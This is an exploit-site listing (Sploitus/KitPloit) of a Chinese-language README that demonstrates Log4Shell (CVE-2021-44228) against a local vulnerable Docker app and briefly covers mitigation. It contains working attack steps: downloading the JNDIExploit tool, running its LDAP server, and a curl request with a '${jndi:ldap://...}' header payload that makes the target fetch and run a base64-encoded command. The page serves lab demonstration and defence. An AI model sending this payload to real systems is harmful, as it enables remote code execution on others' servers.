Sploitus

Exploit for Log4Shell

kitploit · 2026-09-03

Exploit Code

MARKDOWN52 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FERYAELJUSTICE-LOG4SHELL
# Log4Shell

本仓库用于演示和缓解 Log4j 2021(CVE-2021-44228)漏洞。

## 什么是 Log4Shell?

CVE-2021-44228 / Log4Shell 漏洞的原理是向易受攻击的软件注入恶意负载,该负载会通过 JNDI 并借助 LDAP 协议,诱使 Log4J 从第三方来源获取值。……导入的数据可以是代码,Log4J 会在系统上执行这些代码。

## 概念验证(视频教程)

  1. 我们在 Docker 中运行一个易受 CVE-2021-44228 攻击的 Spring Boot Web 应用程序,该应用被 @christophetd 昵称为 Log4Shell。 它使用 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)和 JDK 1.8.0_181。 `docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` ![Log4Shell_1](https://assets.kitploit.com/production/public/readmes/51560/16612563d8ee07842f1e1c033d730b11558c96e38972ec828eaaaf54f92b6db0/e917a15ebd25109daa2d557cfb17f562f984536d42fee0eb07786ebbb93431a2-display-v1.webp) ![Log4Shell_2](https://assets.kitploit.com/production/public/readmes/51560/289e4771a8ba280963134dcb03391624630c0c4ffbb6476d9be944d567bf5588/968aa1050819adde3058e3003112e968f0ac3790cb75ac975df5ae3796416127-display-v1.webp)

  2. 我们在此案例中从 web archive 下载用于 Log4Shell 的 JNDI Exploit,但您也可以从任何可用的地方下载它。 `wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip` ![Log4Shell_3](https://assets.kitploit.com/production/public/readmes/51560/e6ba4cddf6b3f46a86aa4636e69cc55acc9caa96e1c4ccbdbba8e3ec08571871/c5a94f3ca3d2a5882a934e1607de8ed5e8e91f2c0ae0086e7d2172b560f2ce3d-display-v1.webp) ![Log4Shell_4](https://assets.kitploit.com/production/public/readmes/51560/efe4728e870f42409247ad54703116b0816627be04d6527061950b8bc039d7e9/c3f4ba5760852990c1be8f9b2c4cd6c945cbac8fe509520e24c3e9dbea662644-display-v1.webp)

  3. 我们获取运行 Log4Shell 应用程序 Docker 的机器的 IP 地址。 `ifconfig` ![Log4Shell_IP](https://assets.kitploit.com/production/public/readmes/51560/b1e8f5b35d1a85725223d5a261157bbab9cc7d37577e703c35b83a3f88fa3f17/4793308f860b63e7bb29abddf67aca84a560ae922e47c76f9c3e86aa2c65449c-display-v1.webp)

  4. 我们解压包含用于 Log4Shell 的 JNDI Exploit 的 zip 文件,从而获得 JAR,然后执行它并填入我们在步骤 3 中获取的 IP。




root@kitploit:~
    
    
    unzip JNDIExploit.v1.2.zip
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
    

![Log4Shell_5](https://assets.kitploit.com/production/public/readmes/51560/82ea103fb987adb35ec076c98c8818c30ec0ffa27452c54ccdc2b6c5b10a60a9/bcc6c4e8602127987836b12993fc13c21dec69756381e47a09e2fe94bc6c31cf-display-v1.webp)

  5. 然后,使用以下命令触发漏洞利用: `curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'` ![Log4Shell_6](https://assets.kitploit.com/production/public/readmes/51560/a20c291751abdf879a2280b13ee754e6a4a9507c3eb077bb70429f8cd103da57/45ba8ce20b44798a3d3d71124a9c7708bde88b0a6a419551171097a985a5fffd-display-v1.webp)


  * 我们看到与我们的机器建立了一个 JNDI 连接,并且可以看到 Log4J 执行的代码。 ![Log4Shell_7](https://assets.kitploit.com/production/public/readmes/51560/b70679a3d3e4a9a19bef07bbf556f77d539b6d8171977735089bf105732e1be9/28d8bd0496a677466d92496dc2b5c928976b327e33e3dedcf8df75ddf12f58dd-display-v1.webp)


  6. 为了确认代码执行成功,请注意运行易受攻击应用程序的容器中已创建了文件 /tmp/pwned.txt。 `docker exec vulnerable-app ls /tmp` ![Log4Shell_8](https://assets.kitploit.com/production/public/readmes/51560/c6bee7e66059933936a8df542ec43037bc8e9febf973a57f6510371712d48a25/9f941afdbcbbd893a87d1d5f632a3b3d07b5b4b3dc10f1bb7203a747aa0058d0-display-v1.webp)



## 缓解措施

关于如何在 Windows 和 Linux 中缓解 Log4Shell 漏洞的视频:缓解措施

#### Linux 中的缓解措施(示例图片)

![MITIGATION](https://assets.kitploit.com/production/public/readmes/51560/908adfb0e925179bbc222e0cf590aeb971f8289ab7eea520ac5fb0a8c057f66e/6ba7995ea7a98e083d956ed8be3a531b2befa459a1e08ce40052de499dc715dd-display-v1.webp)

## 作者

Feryael Justice 2022